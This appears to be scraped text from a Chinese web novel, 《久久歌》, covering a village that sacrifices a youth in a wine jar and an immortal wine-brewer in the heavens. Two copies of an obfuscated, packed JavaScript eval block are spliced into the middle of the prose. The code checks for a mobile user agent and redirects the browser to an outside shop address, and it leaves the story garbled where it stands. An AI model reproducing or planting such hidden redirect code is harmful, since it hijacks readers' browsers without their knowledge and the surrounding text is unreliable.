《久久歌》 1. 凡人温久十八年 “相传啊,以前神域鬼界大战,凡间就要苦难而遭殃,那时天地间都是一片晦暗不见光,人不是人,草不是草。神域将军九摇带领天兵天将讨伐鬼王仇池,皆是两败俱伤,但终归是邪不胜正,况且那仇池本就作恶多端,死后连儿子都不知道去哪里了——”说书先生有模有样的摇着脑袋,“这就好比那官人家的儿子被仇人捡到,性命堪忧。新任鬼王鱼渊重振旗鼓,进攻神域,为兄报仇,依旧是那好死不死的九摇来向他出战——” “你们猜怎么着?” 说书先生突然停下,弄得所有人胃口倒了一片,包括宁可信这世上有鬼都不信这世上有神的温久。 “你快说了哩!我家娃还等着吃奶!” “我家奶奶还等我喂饭!” “我媳妇已经做好饭等我了!” “快说哩快说哩!” “好好好,别急,别急。”说书先生骄傲的摆手,“你们常说那鬼界作恶多端是该讨伐,可那九摇也不是东西哩!你们猜怎么着,那九摇找着了那仇池的儿子,然后把他养育成神!那鬼王的儿子摇身一变成了神仙,后来那书上的杀伐将军九幽,就是那鬼王儿子!” “哇!这也忒不是东西!” “那儿子怎么了!成了什么?!” “那九摇要那鬼王儿子做什么哩!快说快说!饭要糊了!” “还能怎么办!”此时说书先生也激动起来了,“那九摇把鬼王儿子养成杀伐将军,杀了自己亲叔叔了哩!” “什么什么什么?那九摇忒不是东西了!这血亲相残哩!” “九摇为什么这么做啊!” “那九摇死没死啊!” 温久此时也觉得这九摇有点不是东西了,默默看了眼自己篮子蔫搭搭的白菜,问了问旁边大妈:“买白菜不啰?” “不买不买!你这什么萝卜啊!” “是白菜……” “不买红薯!别打扰我听书!” “……” “——那鱼渊认出了那九幽,就这么死在了自己亲侄子剑下啊……直接是,挫骨扬灰好不让人心寒!” “小九小九!”一个精瘦的少年跑来,一眼就看见了人群里的温久,“小九,村儿里张寡妇要生啦!我们快去看看!” 村儿里人没几个读过书的,他是九九天出生的,家里爹肚子有几滴墨水,娘说“温九”,他说轻率了,便给他来了个长长久久的久久,也顺了娘心意,反正也是个“久久”,他娘不认字儿,也这么给忽悠了。 他现在还真就觉得,幸亏不是九,不然就和那忒不是东西的九摇给重了。 “……哪个寡妇?——我这,我这白菜还没卖完。” “哎呀别卖莴苣了,快和我去看看啊!” “是白菜……” “你这水淹青菜的,谁会来买?张家请了大师!他说啊,这张寡妇白天生娃娃,要是生个女娃娃,阳气就太重,得送人去当童养媳保命压阴,要是个男娃娃,阳气更重,得去寻个童养媳来压阳!”说着少年拉着温久就跑。 “……是白——算了。”温久被他强行给拽走,边跑边问道:“那张寡妇生娃娃我们为什么要去啊?” “那大师在散钱呢!我们捡些去,再看能不能让那女娃娃当童养媳!” “…………”温久无语的看着自己的发小李小狗,撒开手,“我还是继续卖芹菜吧——白菜吧。” “诶?”向来有好事就要分享给温久的发小愣愣的看着他:“真不去?” “不去不去。”温久兴致缺缺道,那大师就算是撒钱也是撒冥币,这冥币捡来作甚?他爹娘活的好好的,把这纸钱捡回去还不得废了他的狗爪子狗腿。 “那……那你不去也行,阿束找你回去你总要去吧?阿束要杀猪给张寡妇他家,让你再给送些白菜去。”李小狗一看温久面色有变就知道得逞了,温久不喜欢瞎凑热闹的性子他自然是知道,但只要是阿束的热闹他就总要凑一下。 他们村儿的女人克夫的多,到现在爹娘都在的也不多,那阿束早就是个孤儿了,爹被娘克死,娘又自己寻短见还想带上他,算得上是他们村儿挺惨的一个孤儿了。 可他和温久一样长得一副文人相,是村儿里长得最好看的,长这么大李小狗还从未看见这俩文人生过气发过火。 恐怕他们村儿寡妇太多了,要是男的和男的在一起,女的和女的在一起了,祖上都是冒青烟了。 “杀猪?” “对啊,杀猪给张寡妇驱驱邪,本来只要用狗血的,可……”李小狗懊恼的抠抠自己的脑门儿,“村儿里名字带狗的太多了,不吉利。” 温久赞同的点头,嘴里念念“是不太吉利”,然后最后再看了一眼闹哄哄的人群,说书先生不知怎么又开始讲那山神和水神的故事了,无奈的叹气,跟着李小狗回村儿了。 阿束已有二十,和十八的温久一样,早该是娶妻的年龄了,特别是阿束,倒不是没姑娘愿意嫁给他,只是他们村儿现在连十六岁的寡妇都有了,有寡妇有姑娘愿嫁,但阿束不愿娶。 他们村儿虽说寡妇多,但他们村儿靠酿酒为生,供着的神仙便是那酿酒仙官青袂,至于为什么不供他的师父青君,那是因为民间说那青袂酿酒手艺与青君只差一手,青君自从收了这徒弟,就不再酿酒了。 村儿里几乎每家每户再怎么穷都种了红高粱,温久一路走着,甚至隐隐约约听见了那寡妇凄惨的叫喊声和那大师吧啦吧啦的念咒。 这样真能驱邪?温久不禁想着。李小狗早已按捺不住去捡钱了,温久莫名烦躁的不想听那李小狗知道那钱是纸钱后来找自己诉苦,这用头发丝儿都能想到的,怎么可能撒真钱呢?那大师脑子岂不被驴踢了。 温久直接去找了阿束,还没到屋,就听见里面那盖过张寡妇的叫喊,更加惨绝人寰的杀猪叫。 “阿束!”温久站在他家门外,双手做喇叭状的朝里大喊。 “小久?小久先别进来!这里腥得很!” 温久听着里面阿束有些气急的声音就知道这头猪肯定比那张寡妇还猛。他生来不怎么见得血腥,就是闻着那血腥味儿都要作呕,可他并不讨厌阿束身上的那整日杀猪带来的腥味,可阿束每天依旧要把自己洗的很干净。 温久有些郁闷的站在外面,里面隐隐传来血腥味,他站远了些,但又止不住的想往里瞧,当然并不想看怎么杀猪,而是想看阿束怎么样,这瞧也瞧不到的,干脆就蹲地上捡根枯树枝开始在地上写写画画。 不知谁家又在酿酒了,传开阵阵的酒香。他很好奇那位酿酒仙官,他们家也挂着他的画像,总是穿那一身的青衫,眼睛里却满是缠绵悱恻。他至今都很佩服那位画像人,竟能将这位仙官画的如此神韵。 不过这位仙官在天上应该过得并不好,因为听说这位仙官脾气太好,但性情诡异,经常被其他神仙欺负,酿酒也不是什么重要职位,自然是比不过那些守山的守湖的。可神仙也有贪玩爱玩的,有时候你去寺庙里拜那山神,说不定就是被那山神拿来顶替的酿酒仙官呢! 那猪的叫喊声终于微弱了几分,可张寡妇的叫喊却不见弱,温久看着地上写着的“束”字,心里想着,像阿束这般的人,怎能只属于这个地方为别人杀猪呢,这也太可惜了。 房间里阿束看着终于没了力气的猪,脸上都是血,眉宇间透露着些许凶煞之气,拿了个盆来把猪血接好,朝破破烂烂的窗户纸往外看,正好可以看见温久蹲在地上在写画着什么,表情有了些缓和。 温久听声音没了,站起身来就要去找阿束,阿束一看,连忙制止他:“小久!” “啊?”温久被他这一呵斥的语气,脑袋还没反应过来,动作却已经是停住了。 “这里血味儿太重了,我先洗洗,你回去摘几颗白菜,等一下我们一起去张寡妇那里好吗?” 温久听他又变得温和的语气,听话的点了点头,“好……那你快点,我先回去一趟。”说着便一步三回头的想要看阿束,可阿束始终没有出来。 房子里没人,估计他爹娘也去看那张寡妇生小孩儿了,他们村儿就是这样,平日里酿酒去卖,最大的乐趣就是看女人生孩子了,也不知他当初出生时,又有多少人围观。 温久进门第一件事,便是先去拜一拜酿酒仙官,只是看着他,又想起那说书先生今日的胡扯。他宁可信那些鬼怪的故事,也不愿信那神仙的纠葛。 一个为正,一个为邪。九摇为正,让仇池的儿子杀了自己的亲叔叔,鱼渊为邪,为了给仇池报仇却被自己的亲侄子挫骨扬灰,谁才是对的呢。 “求酿酒仙官,我种的白菜要是再卖不出去,我可能就要用酒给他当水浇了。”温久双手合十虔诚道。其实并不是他种的白菜难养活,但凡他有点自知之明就应该意识到不要再浇那么多水了,那白菜可真是冤了被他活活淹死。 抬头仰望那画像上一动不动的人,温久心里对自己好笑却是没表现出来,再给他拜了几下,做凡人的也不能胡乱为难神仙,更何况这神仙自己也过得不好,何苦再给他平添一个烦恼,便起身去摘白菜了。 温久看着那犯水灾般的白菜地儿,丝毫没有后悔之心并且还在疑惑这白菜怎么就这么不争气呢。摘了好几颗蔫搭搭的白菜,就又要去寻阿束了。 张寡妇生了个儿子,却是把自己给弄没了,又为这可怜见的寡妇村儿平添了一名孤儿。 阿束果然把自己洗的干干净净,身上还带有若有若无的酒香,闻来让温久安心,可他并不想阿束这样,因为阿束皮肤本就细腻,每次洗澡温久都不知道阿束到底是怎么对自己的,连手背都被搓的红彤彤的,像是活生生的剥了一层皮,他不想阿束为了他为换上一张新的皮。 张寡妇的叫喊声已经没了,换来的是新生的哭喊。阿束让人把猪血搬去撒了,猪肉晚上的时候为庆祝新生到来大家才煮来吃。 温久还未靠近人群就闻到那血腥味儿,不知道阿束一个人到底杀了多少头猪。 “难受的话我们就站在这里。”阿束帮温久顺顺气儿,那酒香气一靠近,温久就觉得好受多了。 他们酿酒从不喝自己的酒,要喝也是喝别人家的,因为那位酿酒仙官酿酒,却是从来尝不出味儿来,他们若是喝了自己酿的酒,那便是亵渎神明。 这样一想,温久觉得那位神仙更可怜了。 “大师,你能不能帮咱问问那神仙,再这样下去我们村儿就要没了啊!” “那酿酒官只管酿酒不管咱的!你帮咱问问这方土地神,咱这儿为什么女人总克夫啊!” 他们这寡妇村儿,虽说克夫,但是生孩子而死的女人,张寡妇是第一个。这张寡妇一死,就如同那星星之火终于开始燎原了。 “你们这儿的那位神仙在天上都是自身难保,哪能管着你们啊!”那位刚才跳了半天驱魔舞撒了半天纸笔的大师现在还在气喘吁吁,李小狗在人群外看到温久和阿束,本想过去打招呼,却硬生生止步了。 他也是和这两人一起长大的,可自己始终像是个外人,无论他怎么样,都是这两人关系好些,他感觉怎么也进不去这两人中间。 “你们这儿哪还有什么土地神啊!早就走喽不管你们了,不然你们这儿为什么总克夫啊?就是因为那酿酒官本就是极阴,那土地神都看不下去给走了!” “那酿酒官是男人啊!哪里阴了,那画像还画的极好看嘞!” “大神啊你这么一说,我看那酿酒官确实柔的跟个女子似的!” “那酿酒官没了我们酒怎么办!他又不管风水不管生娃的,他没了我们生意怎么办!” 女人们七嘴八舌的说着,为数不多的还没克死男人的温久他娘看热闹不嫌事儿在旁边附和着。 “稍安勿躁,稍安勿躁!”大师摸了摸自己的长白胡子,让自己显得更加有仙气些,温久远远的看着,却觉得他还没那说书的顺眼,“那酿酒官自己在天上过得不好连累着了你们,你们知道这是为什么不?”他卖关子道,吊起来女人们胃口,这次却没能吊起温久的好奇心,“那酿酒官是厉鬼修炼得来的嘞!” “什么鬼?” “厉鬼啊傻婆娘!” “又不是没有厉鬼成为神仙过,有什么好惊讶的!” “我说那酿酒官怎么越看越煞了!原来是厉鬼修成的神仙哩!” 又是一阵聒噪,温久刚想走上前去听清些,顺便也看清些那满口胡言的大师。这神仙怎么来的管他什么事儿,神仙过得怎么样怎么就碍着他了?! “别过去。”阿束把温久拉着。 温久诧异的看着阿束,指着那闹哄哄的人群,“那是哪门子的大师啊!满口的胡言,神仙过得好不好碍着他做生意了吗?” “你先别过去,先听听他怎么说,好吗?” 每次阿束这样询问的语气都让温久为难。他每次都要加个“好吗”,更像是时时刻刻束缚着温久,只要阿束一说“好吗”他每次都忍不住的动摇。 无法,只能先听听那大师还要怎么说这位可怜神明的不是。 “厉鬼成神本就少,但那青袂是靠自己本事的吗?他虽说戒荤,但他一直呆在那阴间无所作为,无功无德的,要不是运气好被那八佰遇着,只用了三百年,怎么可能飞身上神!” “那他只是运气是不是!” “他这是全靠走了那狗屎运气!怪不得天上其他神仙看他不好!” “不作祟就是有功有德,那我也没杀过人哩!我都成神仙了!” “诶诶,听我说,听我说!”四周一下子就安静下来了,“那神仙做厉鬼时未杀生,指尖无血腥,你们也只需找一个未染血腥的男孩,用酒封存,给那青袂破了戒,把他身上极阴极柔之气给冲散了,那男人的阳气就回来了!” 此话一出,女人们也不说话了,温久他爹娘更是心虚的互看一眼,这村儿里谁人不知他家小子连那腥味儿重的东西都不吃,连是闻也闻不得,刚想着避嫌退出去,谁知那前不久死了的王二麻子他婆娘喊道:“咱村儿还真有这一个人儿,姓温的那家小子从小闻着那腥味儿就吐!今儿张寡妇生娃娃他都没来!” 这寡妇村儿克夫克惯了,要是有对儿不克夫的算不上什么稀有,更像是异类,温久他爹娘幸福美满,又有长的好看的儿子,女人嫉妒心发作,面儿上没什么,暗地里都是咋舌。 “你说什么呢王婆娘!”温久他娘忍不住吼道。 温久一看自己娘无故大喊,也不知道他们刚才在说什么,一下子就要冲过去,阿束没拉住他,反倒是那人群里的李小狗连忙朝他口型“别过来!”,这口型无声对他喊着,很是夸张,温久自己都是一愣站在原地,近些了,听的也清了,篮子的烂白菜掉落一地。 “我说错了吗温婆子!咱村儿命儿都苦,这好吃好喝的供着这神仙只求好生意好出路的,没成想他恩将仇报害我们死了夫的孤儿寡母没依没靠,就你家不仅有老子还有小子的,莫不是就是这神仙给你家夫转的寿!” “就、就是!凭啥你家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990878|193699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫活得好着,我们就得看着,你那儿子又娇,腥味儿都是闻不得,杀鸡杀猪的都不干,就种白菜!男不干活,成何了?!” 温久他爹娘一看见温久,就赶紧暗自朝他招手让他快走。 阿束把他拽着往回走的时候,温久才是微微回过神,很是困惑他们怎么吵着吵着就吵到自己头上来了? 天黑的时候,他们在那红高粱地里躲着,这之前,温久还是偷偷的把家里供着的酿酒官的画像偷了出来,他和阿束一起躲在这里。 温久看着阿束俊俏模样,再看看周身的红高粱地儿,心里有些凄凉但面上依旧是想笑,“阿束。” “怎么了?”阿束看着高粱地外打着火把找人的老小,等他们走远了,才低声道。 “阿娘给我说,要是喜欢谁,就把他往红高粱地里一拽,他就是我的人了。” 阿束一愣,旋即温柔的笑笑,嘴角梨涡,“我们不躲在这里,要躲哪里?” 温久轻轻叹气,把手里的画像抱的紧了些:“我就是觉得他太可怜了,却又觉得他由不得我可怜,他一个神仙,怎么需要我可怜呢?”温久顿了顿:“我就是害怕大家听那大师的话,把他烧了怎么办。” “不会的。”阿束道。 “我今天还在街上卖白菜,听那个说书先生讲了个故事,你猜猜那位先生今天讲的什么?” 阿束看着他手里的画像,有些苦涩的开口:“讲的什么?” 夏季风一吹,把红高粱地里的酒气吹散,可温久依旧是能闻到阿束身上的味道,“他今天啊讲了一位神仙把鬼王的儿子抱走的故事。” 他们今晚上明明要好生庆祝那张寡妇生娃娃,温久连是个男娃还是个女娃都不知道,也不知道那娃娃到底是去当别人的童养媳还是出生就有个媳妇的好福气。 “……然后呢?”阿束半垂着眼问他。 “好奇怪啊阿束。”温久语气里满是疑惑,“真的好奇怪啊……那个神仙把鬼王杀了,然后把他的儿子抱走了,多年后又让鬼王的儿子杀了自己的叔叔,好奇怪啊。” 他们的声音只有对方才能听到,温久手里画像里的神仙自然是听不到。在大师来之前,在张寡妇还活着的时候,他可是被整个村的人供奉起来的,谁也没怀疑他,生育与克夫都不管他的事。可大师来了,张寡妇也走了,他一下子一落千丈,只能被温久抱着在这里一起躲着。 他今日不知道可怜了多少次那位神这位鬼了。他可怜仇池死了都不知道儿子去哪里了,他可怜那位鬼王的儿子九幽——他自然不知道他是不是真的叫九幽。可怜鱼渊被九幽挫骨扬灰,甚至还可怜这位酿酒仙官怎能平白无故谗言而一落千丈。可唯独不知道怎么去形容那位将军,他为什么要把九幽抱走,多年后还让九幽杀了鱼渊,他不明白。 他本不信这些,只是觉得他们可怜罢了。 可他现在最该可怜的是自己了,他们要把他泡在酒里给他手里的这位神仙开荤了,他怎么还能去可怜神仙。 “阿束,其实你可以不用管我的。”他们只是想把我当祭品为他们死去的丈夫而已,只是我刚好闻不得腥见不得血而已。 阿束抿着嘴唇,他从小和温久一起长大,知道温久性子柔,连杀生都见不得。听说温大娘生他的时候他自己身上都不见血,更像是天生自带的慈悲。 “你别怕,他们总不会真的把你拿来酿了酒。”阿束安慰他道。 “我知道。”温久把画像塞到阿束的手里,“不怪村子里的人,我知道他们不是故意的,他们只是太想逃离这种状况了。也不怪这位神仙,至少不能怪他厉鬼时没杀过生,你把画像好生收着,别被我弄脏了。” “你……” “阿束。”温久轻声打断他,“你从小和我一起长大,每一次和我在一起都把自己洗的很干净——其实你不用把自己洗的那么干净的,我一点也不嫌弃你,一点也不。” 阿束看着手里的画像和脚下被自己踩折的红高粱,哪处不知名的小虫子爬上他破破烂烂的布鞋里,他却是一点也不知痒,那小虫子咬了他,阿束也不知疼。 “只是……”温久认真的看着他,“我愿意给他们免灾祸求得一丝心安。若是我真的帮这位神仙开了荤帮了他,也不是坏事,那也说不定村子里可以少死些男人。” “这根本就是无稽之谈。”阿束忍不住道,“这是神仙自己的事,与你无关,怎能让你白白丢了性命?” “阿束,你也知道这是无稽之谈,他们又怎会都不知道?他们只是想给自己希望而已,我今年十八,唯一的遗憾就是没娶个媳妇被克死,反而是要被那酒水给溺死了。”温久悄悄朝外望了望,那模样像极了要打雷了他跑去敲阿束的门,说“阿束阿束,要打雷了,你别怕”。 可到底,怕打雷的是他,不好意思和爹娘挤在同一张床,去找了阿束的也是他。 “只是实在是不好意思让你一个人。”说到这儿,温久很是抱歉的模样,“我们一起长大,你也已经养成习惯了吧?我知道待在一起久了会厌烦,你就当是我是怕你烦了我才走的。” 阿束张了张嘴,什么也没说出口。 温久从小就觉得阿束身上有一种很吸引他的地方,除去他长得好看,眼睛里也总是亮亮的,好像也找不出其他特别的地方了。 明明是一副文人模样,也能识文断字,不教书跑来杀猪干什么?长得好看的人还真是想法也怪好看的。 村子里的人也很不安,但他们依旧宁可信其有,不可信其无。 温久自愿入酒缸的时候阿束便是站在最前面看他进去的,看酒缸被封起来,看那可恨的大师做法,看他们把酒缸埋入地里,看他们舒心的表情。 满腔酒香进入温久的身体里,他被呛得很是难受,从前喝酒的时候被呛了一下就如同被火烧的疼,现在更是。这酒当然和普通的水不一样,若是水的话他的眼睛可能还会睁开,还会憋一会儿气再活一小会儿。 可这酒烧的心肝肺都是巨疼,辣的眼睛睁不开,耳朵里都是火烧的疼,他想咳却是怎么可能,挣扎的想要逃,唯一的出口却被堵住了,喊也无用,挣也无用,唯独手里紧紧握着的自己偷偷从阿束衣角割下来的一块。 意识离自己远去的时候,酒是他唯一记得的味道。 后来村子里依旧会克夫,看来帮助那位神仙开荤到底还是不如那位神仙亲自开荤。 温久他娘是活生生难过而死的,这又成为了村儿里第一个相公还没死,自己就死了的妇人。 那位大师逃了,李小狗嗓子哭哑了也没把温久挖出来。埋的太深了,怎能被他一己之力挖出来。 李小狗生前娶了和自己同姓的李二柱他闺女,没被克死,活到了七十七栽进河里淹死的。后来这寡妇村儿里成对的都是一个姓的。你姓王我姓王才能在一起,没有那个姓的就单着不要祸害人了。 谁也没有说起温久,后来村儿里人也都想着,反正村里也就他一个姓温的,娶了媳妇也是死,只是死的早了而已。 阿束也就单着了,也依旧有姑娘找他,因为总有些姓氏少的没人娶,就去找阿束这也不知道姓什么的凑合,自己也不吃亏,该克死时也不是自己,反正也找不到其他夫家了。 可就是从他开始奇怪的。他娶了两次,没被克死,反而是他把女的克死了,也就没人敢嫁他了。 这可在寡妇村儿闻所未闻。阿束后来离开那村子自己走了,谁也不知道去哪里,只是离开时也穿着那缺了一块的衣服。 2. 神域青袂数百年(一) 神域。 青袂拿着浇水壶,扶了扶自己的腰,又揉了揉自己的肩,看了看花海。他又不知不觉浇了很多水。 “青袂上仙还是休息一下吧。都忙了很久了。” 花苑里四下无人。 “无妨。”青袂笑笑,身体已经很是疲惫,但眼中显露的却依旧如同酒水一般缠绵软侧。 身后的屏门被缓缓打开。 “青袂上仙。”小仙童拿着火红的请帖,恭恭敬敬的走进来,小心翼翼开口,看见青袂身后花苑如同闹水灾一般,大气没敢喘。 传闻青袂上仙脾气古怪,生性诡异。前半生为厉鬼,后来比谁都幸运,天降的福利,得了八佰上仙的赏识,只用了三百年飞升上神,又得酿酒官青君赏识,神域酿酒手艺现在只与青君差一手。 “嗯?”青袂放下洒水壶,疑惑的转过身。他衣袖挽起,白白净净的手腕,皮肤如同女子细腻,手却很随意的在衣裳蹭了蹭,他没看见身后的花儿都如释重负的叹气一般把笔直的花身弯了弯。 “小仙不在……青君不便打扰,只能、只能来叨扰上仙。那个、酒宴要开始了。”小仙童举起请帖到青袂面前,头低的很低,甚至恨不得把头放到地上去也一并呈给青袂似的,手心只冒冷汗,心里狂喊:为什么我要接这份苦差事! 他不怕青袂拒绝,怕的是青袂多说几句话。虽说这位上仙话也不多,有时很是金口难开,但他真的怕自己身上哪一处从娘胎里自带出来的的缺点惹着他。 青袂仔细打量了一下火红的请帖,又回头看了看花海,它们立刻重新振奋起来。 青袂回过头再次看向小仙童,“好。”青袂接过请帖。 “……嗯嗯!”小仙童的反射弧似乎有些长,直直愣了好几秒。他是有些惊讶的,已经很久没参加过酒宴的青袂这次居然同意了,这简直才是神仙开口,“那……那……” “你去忙你的吧。”不等他说完,青袂只是随意的吧请帖放在一旁。 “是!”一声令下,小仙童逃也似的跑出了酿酒殿,头也没有回。 “……”青袂看着他慌张的背影,有意无意的笑了笑。 “可惜了,要是他回头就可以看见上仙的笑了,没福气。” “我们上仙又不是什么妖怪,而且又长得这么好看,搞不懂他们在怕什么。” “都是神仙了还这么无知。” 青袂左耳进右耳出听着杂七杂八的声音。 “嘘——师父还在休息。你们安静点。” “青君还在睡吗?上仙不打算去叫叫他吗?” “上仙还巴不得青君多睡会儿呢。青君又不是只有上仙,他的小弟子也不知道整天在忙什么。” 青袂看他们靠拢,一副做贼的模样小声讨论着,有些忍俊不禁。 没有风,花海却自由的左右摇摆着。 “上仙要去酒宴,那酿什么酒去呢?”一朵生得妖艳的工莓,靠在青袂的手心。 青袂也温柔的覆上它的花身。可是青袂手上的寒意如同还未开封的陈酒,惹得它花身一颤。 一眼望去花海,形形色色奇奇怪怪的花什么都有,却不会再有第二支,每一支都是青袂亲手精心照料。 它们谁也没有问青袂为何这次要去酒宴。可它们也都明白青袂本也不喜热闹人多,这酒宴众仙家里里外外来来往往,很是热闹,算得上是除帝君寿宴最热闹的活动之一。 青袂放下袖口,他的眼睛一如既往地清澈,他没有犹豫,温柔且坚定的开口,“浅念?” 万花丛中不起眼的小白花微微抖了抖枝叶,“上、上仙。” 浅念生性本娇弱却外柔内刚,它可以酿出最纯正的烈酒。 “别怕。”青袂又扶了扶自己的腰,索性蹲下来。万花丛中每一支花的使命都是酿酒,那是他们与生俱来的使命。 “上仙,你要拿浅念?”工莓第一个不满,挡到青袂面前,“青君明说过特殊情况不要用浅念的。” 浅念一听,微微弯了花枝。 青袂深知,浅念看起来柔柔弱弱,本事可不小。黄金杯里黄金酒,可它却能让黄金杯无故自燃,更不用说其他。 绿荧赶紧附和,“上仙可不要一时任性。” 青袂没有说话。当它们花瓣的最后一朵也耗尽时,便是他们重渡轮回之时。 青袂略过工莓,自顾自便摘下浅念的花瓣,浅念如同情窦初开的少女直愣愣的看着他却又害怕着。 “这么久了,自然要给他们些惊喜。”青袂莞尔一笑。 “可上仙——” 青袂缓缓站起身,回到酒房。它们见青袂不肯多听也不愿多言,立刻开始大胆的讨论起来,浅念在它们之中,花身微微弯了弯。 “上仙这次又浇了好多水……我差点就喝吐了……” “嘘嘘嘘……别让上仙听见……” “我也差点喝吐……” “我刚才悄悄吐了……” 青袂也不管他们如何,拿出小白瓷碗,随意把花瓣放进去,等待着青雏的水。 青雏是他的师弟,青君也就他们两个弟子。这么多年,青雏除了帮他去人间打水然后送来,也没有多说任何一句题外话,他自然也对青雏一无所知。 青袂坐在冷清的酒房里。若是无人找他需要他,他可以一直待在这里。他趴在桌子上,露出一双眼睛,现在才开始流露出来的疲惫。 他本也有一汪净池,有时青雏水不到,他也只会用净池里的水浇浇花,他那水里他偷偷养了一只小鬼无弃守着,已经许久没去看他了。 青袂突然站起身,赶紧擦擦不存在的汗水,他怎么能在这时候突然放松下来。他赶紧把小白瓷碗拿来,把里面的浅念磨成粉。 因为酒房里特有的香薰,整个房间都充满了怪异的苦涩,像是刚把烈酒卡在了喉咙的苦涩,咽不下也吐不出。虽微微钻心,青袂却不以为然。 叩叩。 “师兄。” 门被叩响,声音还在外面。 “嗯。”青袂把浅念微微往一旁推了推,淡淡的应道。 青雏得到回应后打开房门进来,他依旧和平常一样微微一皱眉,师兄的酒房里依然是这般,他每次进来都会习惯性的皱眉了。 他把水搬来。 青袂看着他的样子,手在桌子上微微点了点,“我们今年要去酒宴。” 青雏还在挪着水,差点把水打翻,“嗯……” “你还有什么要忙的吗?”青袂不在意的问了问。 “……师兄也知道,酿酒殿里里外外——” “那我去叫师父好了。”不等他说完,青袂站起身。 “嗯。”青雏小声应道。 直到青袂出了酒房,他才暗自松了一口气,看了一眼桌上的小白瓷碗,不敢再多加逗留离开了。 青君的两个徒弟,虽青袂酿的回梦佳酒,可青雏不一样。青雏没有青袂的天赋或是真的不能如同青袂一样,尽管都是从零开始,但青雏后天也没能补上。 青袂出了酒房后,穿过中堂,闲庭信步走到了青君房门前。 “师父。”青袂轻轻叩了叩门。 “起来啦……” “嗯。”青袂听到里面慵懒的回答,心中已经有了底。他在门外乖站着等了一刻钟后,微微叹息扶额,很是无奈的笑笑,打开房门进去,果不其然看见青君还仰头大睡着。 “酒宴就在今天了。” 青君朦胧胧咂咂嘴,还有些迷糊,“你不是不喜欢吗?” 青袂把他扶起来,给他穿衣裳。 “想着很久没去了。况且师父不也一直很想去吗?” “还不是因为你!你又不去,我去干嘛!别的神仙都有人陪着,难不成就我单着去!”青君不满的朝青袂大声嚷嚷。 “师父也可以让师弟陪着。”青袂没忍住笑了笑。 “要去也要一起去嘛……”青君打了个哈切,闻到了青袂身上一如既往地苦涩,慵懒道。 “那你酿酒了吗?”青袂帮他把衣服穿好,然后煞有介事道。 “嗯。”青袂闷声回答。 “酿的什么?你师父我可以有优先吗?” “酒宴上吧。”青袂把青君背起。青君也并没有深究,他对青袂是十全十的放心。 “那好啊。那你先带我过去吧,我好久没和帝君一起聊天了。” “师父前天才去。”青袂把青君放在轮椅上,实诚道。 “天上一天,人间一年嘛!”青君的手胡乱的在空中乱舞。 “这和人间有什么关系。”青袂帮他理理衣服。 “有关系有关系!快走啦!”青袂依旧不恼,依旧也是淡淡一笑。 “那我去把师弟叫来,让师弟推着师父去,我还要回酒房。” “唔……行吧,那你去吧。” “嗯。” 青袂去找青雏,在他的房间里找到了他。 “青雏?” “师兄?” 青雏原本是趴在桌子上休息,门也没有关,青袂也直接进来了。 “师父在房间,你先和他一起去酒宴,我去酒房里酿酒。”青袂细语道。 “好……”青雏立刻站起身,他与青袂从认识开始,说的话也没有今天多。青袂性格较为冷淡,却又不是因为清高,也总是待在酒房里不见出,有时候甚至他们同在屋檐下却可以三年不见,好像总是因为刻意的时机而错开。 “那你快去吧,别让师父等久了。”青袂交代完便离开。 青雏有时候总要疑惑,这样的师兄怎么在外面被别人说出来的样子千奇百怪。 青袂回到酒房里,把酒炉打开预热,又将青雏送来的水拿来看了看。 他酿酒用的都是人间火人间水,神域的任何东西在他看来都如同草木一般,怎么嚼最后都是苦。 神域里的酿酒仙官,说重要也不是必要,说必要的又不是特别需要。 做神仙早已是弃绝当凡人的一切,无所谓清欢,这时候酿酒仙官的作用就来了。 酿酒仙官需要了解仙家们的各之所需,他们需要什么样的情绪,什么样的波澜,都通过酿酒殿里一壶酒来满足。 只可惜,这也并不是特别需要谨慎的职位,神仙也有狐朋狗友,青袂闲下来的时候就会被神仙拉去顶职位,这顶职位有许多,比如帮山神守山,炼丹炉里守炉,甚至还会被药神拿去守着寺庙看人来人往给自己上供。可若是真的忙了起来,一面之过便是几百年的不见。 “青袂!青袂上仙在吗?”这不,山神重归又来了。 青袂左手拿着小瓷瓶,小指显而易见的不灵活,只是把瓷瓶放下,走出了酒房。 “重归上仙?何事寻我?”青袂拍了拍自己的衣袖,身上的苦涩挥之不去,重归与他见怪不怪,向四周看了一下,冲过来揽过青袂的肩。 “说来实在倒霉。”这是有事帮忙青袂的开场白,“今天不是酒宴吗?不知谁家的小妖怪没看住这时候出来作怪!把我弄得一下子就走不开了,所以……”重归搓搓苍蝇手,“青袂兄?” 青袂自然的笑了笑:“重归上仙,今年我酿酒也要去。” “啊?”重归诧异的看着他:“你都不去的,怎么这次要去了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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无弃满苑子的跑,听到这一声之后脚步骤然停下,少年模样的脸上满是玩弄的笑,两边梨涡若隐若现,“你告啊,他每次把我关起来都忘记锁住设法阵,你告啊。” “……”那朵花哑口无言。 青袂上仙长的是好看,就是脑子不太好使,他们也会每次给他说记得把这小鬼关起来后锁住,不然这和把他从一个地方送到另一个地方然后等他自己跑回来有什么区别。不过他们每次说,青袂也每次听进去,但就是记不住。 就好比这浇花儿,一股脑全下来,要不是他们身残志坚又住神域,已经不知道淹死多少回了。 “我怎么觉得上仙是不是就像人间那样,人老了会变得痴痴呆呆的啊?我怎么,怎么觉得上仙越来越傻了……” “呸呸呸!” “我也觉得,你说上仙这次答应去酒宴,是不是以为又是哪个神仙去请他守门才答应的啊?” “!” “小无弃小无弃,你等会儿去给上仙说说呗,万一他真的不知道,坐在那殿门外真守着像什么话啊。” 被担心老年痴呆的青袂看着仙童们把酒抬走。 鬼界恶鬼诛衫。 诛衫。 